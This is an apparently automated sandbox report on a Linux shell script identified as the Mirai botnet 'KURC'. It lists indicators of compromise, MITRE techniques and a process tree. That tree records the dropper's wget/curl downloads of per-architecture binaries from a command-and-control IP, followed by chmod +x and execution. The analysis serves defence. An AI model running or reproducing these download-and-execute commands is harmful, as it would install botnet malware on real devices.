Analysis
- max time kernel
149s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
08/08/2026, 13:45
General
- Target ohshit.sh
- Size 2KB
- Sample260808-q2rlmsfr9y
- SHA256 119bc5df02017f17aa6e743c121d66a95240ac2b6f84fbc1a6b849d76212019e
Score
10/10
Malware Config
Extracted
Family
-
mirai
Botnet
-
KURC
C2
-
94.154.43.97
Extracted
Family
-
mirai
Botnet
-
KURC
C2
-
94.154.43.97
Signatures
- Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- Contacts a large (54524) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 15 IoCs
- Modifies Watchdog functionality 1 TTPs 16 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Enumerates active TCP sockets 1 TTPs 7 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Writes file to system bin folder 16 IoCs
- Changes its process name 8 IoCs
- Checks CPU configuration 1 TTPs 15 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads system network configuration 1 TTPs 7 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 27 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
-
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.arc2⤵
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.arc2⤵
- Checks CPU configuration
- Writes file to tmp directory
-
-
/bin/catcat David.arc2⤵
-
-
/bin/chmodchmod +x busybox david David.arc ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.x862⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.x862⤵
- Checks CPU configuration
- Writes file to tmp directory
-
-
/bin/catcat David.x862⤵
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-
/bin/chmodchmod +x busybox david David.arc David.x86 ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.x86_642⤵
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.x86_642⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
-
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/bin/catcat David.x86_642⤵
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-
/bin/chmodchmod +x busybox david David.arc David.x86 David.x86_64 ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.i6862⤵
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.i6862⤵
- Checks CPU configuration
- Writes file to tmp directory
-
-
/bin/catcat David.i6862⤵
-
-
/bin/chmodchmod +x busybox david David.arc David.i686 David.x86 David.x86_64 ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/catcat David.mips2⤵
- System Network Configuration Discovery
-
-
/bin/chmodchmod +x busybox david David.arc David.i686 David.mips David.x86 David.x86_64 ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.mips642⤵
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.mips642⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/catcat David.mips642⤵
- System Network Configuration Discovery
-
-
/bin/chmodchmod +x busybox david David.arc David.i686 David.mips David.mips64 David.x86 David.x86_64 ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.mpsl2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/catcat David.mpsl2⤵
-
-
/bin/chmodchmod +x busybox david David.arc David.i686 David.mips David.mips64 David.mpsl David.x86 David.x86_64 ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.arm2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.arm2⤵
- Checks CPU configuration
- Writes file to tmp directory
-
-
/bin/catcat David.arm2⤵
-
-
/bin/chmodchmod +x busybox david David.arc David.arm David.i686 David.mips David.mips64 David.mpsl David.x86 David.x86_64 ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Changes its process name
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.arm52⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.arm52⤵
- Checks CPU configuration
- Writes file to tmp directory
-
-
/bin/chmodchmod +x busybox david David.arc David.arm David.arm5 David.i686 David.mips David.mips64 David.mpsl David.x86 David.x86_64 ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.arm62⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/chmodchmod +x busybox david David.arc David.arm David.arm5 David.arm6 David.i686 David.mips David.mips64 David.mpsl David.x86 David.x86_64 ohshit.sh systemd-private-dbcb079124904278a786fe265f3a1817-systemd-timedated.service-69nSE12⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.arm72⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.arm72⤵
- Checks CPU configuration
- Writes file to tmp directory
-
-
/bin/chmodchmod +x busybox david David.arc David.arm David.arm5 David.arm6 David.arm7 David.i686 David.mips David.mips64 David.mpsl David.x86 David.x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.ppc2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.ppc2⤵
- Checks CPU configuration
- Writes file to tmp directory
-
-
/bin/chmodchmod +x busybox david David.arc David.arm David.arm5 David.arm6 David.arm7 David.i686 David.mips David.mips64 David.mpsl David.ppc David.x86 David.x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.sparc2⤵
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.sparc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/chmodchmod +x busybox david David.arc David.arm David.arm5 David.arm6 David.arm7 David.i686 David.mips David.mips64 David.mpsl David.ppc David.sparc David.x86 David.x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.m68k2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/chmodchmod +x busybox david David.arc David.arm David.arm5 David.arm6 David.arm7 David.i686 David.m68k David.mips David.mips64 David.mpsl David.ppc David.sparc David.x86 David.x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/wgetwget http://94.154.43.97/bins/David.sh42⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://94.154.43.97/bins/David.sh42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/chmodchmod +x busybox david David.arc David.arm David.arm5 David.arm6 David.arm7 David.i686 David.m68k David.mips David.mips64 David.mpsl David.ppc David.sh4 David.sparc David.x86 David.x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
-
-
/tmp/david./david2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
David.arc
busybox
david
david